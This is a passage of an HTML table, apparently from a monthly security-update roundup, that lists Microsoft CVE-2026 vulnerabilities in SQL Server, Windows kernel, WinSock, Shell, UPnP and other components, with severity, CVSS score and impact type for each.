  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32167">CVE-2026-32167</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32176">CVE-2026-32176</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0390">CVE-2026-0390</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32220">CVE-2026-32220</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32212">CVE-2026-32212</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32214">CVE-2026-32214</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32079">CVE-2026-32079</a></td>
  <td>Web Account Manager Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33104">CVE-2026-33104</a></td>
  <td>Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32196">CVE-2026-32196</a></td>
  <td>Windows Admin Center Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26178">CVE-2026-26178</a></td>
  <td>Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32073">CVE-2026-32073</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26168">CVE-2026-26168</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173">CVE-2026-26173</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26177">CVE-2026-26177</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26182">CVE-2026-26182</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27922">CVE-2026-27922</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33099">CVE-2026-33099</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33100">CVE-2026-33100</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32088">CVE-2026-32088</a></td>
  <td>Windows Biometric Service Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27913">CVE-2026-27913</a></td>
  <td>Windows BitLocker Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26175">CVE-2026-26175</a></td>
  <td>Windows Boot Manager Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32162">CVE-2026-32162</a></td>
  <td>Windows COM Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20806">CVE-2026-20806</a></td>
  <td>Windows COM Server Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26176">CVE-2026-26176</a></td>
  <td>Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27926">CVE-2026-27926</a></td>
  <td>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32070">CVE-2026-32070</a></td>
  <td>Windows Common Log File System Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33098">CVE-2026-33098</a></td>
  <td>Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26153">CVE-2026-26153</a></td>
  <td>Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32087">CVE-2026-32087</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32093">CVE-2026-32093</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32086">CVE-2026-32086</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32150">CVE-2026-32150</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27931">CVE-2026-27931</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27930">CVE-2026-27930</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32221">CVE-2026-32221</a></td>
  <td>Windows Graphics Component Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27906">CVE-2026-27906</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27928">CVE-2026-27928</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26156">CVE-2026-26156</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32149">CVE-2026-32149</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27910">CVE-2026-27910</a></td>
  <td>Windows Installer Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912">CVE-2026-27912</a></td>
  <td>Windows Kerberos Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26179">CVE-2026-26179</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26180">CVE-2026-26180</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32195">CVE-2026-32195</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26163">CVE-2026-26163</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32215">CVE-2026-32215</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32217">CVE-2026-32217</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32218">CVE-2026-32218</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26169">CVE-2026-26169</a></td>
  <td>Windows Kernel Memory Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27929">CVE-2026-27929</a></td>
  <td>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32071">CVE-2026-32071</a></td>
  <td>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20930">CVE-2026-20930</a></td>
  <td>Windows Management Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26162">CVE-2026-26162</a></td>
  <td>Windows OLE Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33101">CVE-2026-33101</a></td>
  <td>Windows Print Spooler Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32084">CVE-2026-32084</a></td>
  <td>Windows Print Spooler Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27927">CVE-2026-27927</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26184">CVE-2026-26184</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32069">CVE-2026-32069</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32074">CVE-2026-32074</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32078">CVE-2026-32078</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26167">CVE-2026-26167</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32158">CVE-2026-32158</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32159">CVE-2026-32159</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32160">CVE-2026-32160</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26172">CVE-2026-26172</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20928">CVE-2026-20928</a></td>
  <td>Windows Recovery Environment Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32216">CVE-2026-32216</a></td>
  <td>Windows Redirected Drive Buffering System Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27909">CVE-2026-27909</a></td>
  <td>Windows Search Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26161">CVE-2026-26161</a></td>
  <td>Windows Sensor Data Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26174">CVE-2026-26174</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32224">CVE-2026-32224</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26154">CVE-2026-26154</a></td>
  <td>Windows Server Update Service (WSUS) Tampering Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Tampering</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26165">CVE-2026-26165</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26166">CVE-2026-26166</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27918">CVE-2026-27918</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32151">CVE-2026-32151</a></td>
  <td>Windows Shell Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225">CVE-2026-32225</a></td>
  <td>Windows Shell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32202">CVE-2026-32202</a></td>
  <td>Windows Shell Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32082">CVE-2026-32082</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32083">CVE-2026-32083</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32068">CVE-2026-32068</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32183">CVE-2026-32183</a></td>
  <td>Windows Snipping Tool Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32089">CVE-2026-32089</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32090">CVE-2026-32090</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32153">CVE-2026-32153</a></td>
  <td>Windows Speech Runtime Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27907">CVE-2026-27907</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32076">CVE-2026-32076</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27908">CVE-2026-27908</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27921">CVE-2026-27921</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27915">CVE-2026-27915</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27919">CVE-2026-27919</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32075">CVE-2026-32075</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27916">CVE-2026-27916</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27920">CVE-2026-27920</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32077">CVE-2026-32077</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27925">CVE-2026-27925</a></td>
  <td>Windows UPnP Device Host Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32156">CVE-2026-32156</a></td>
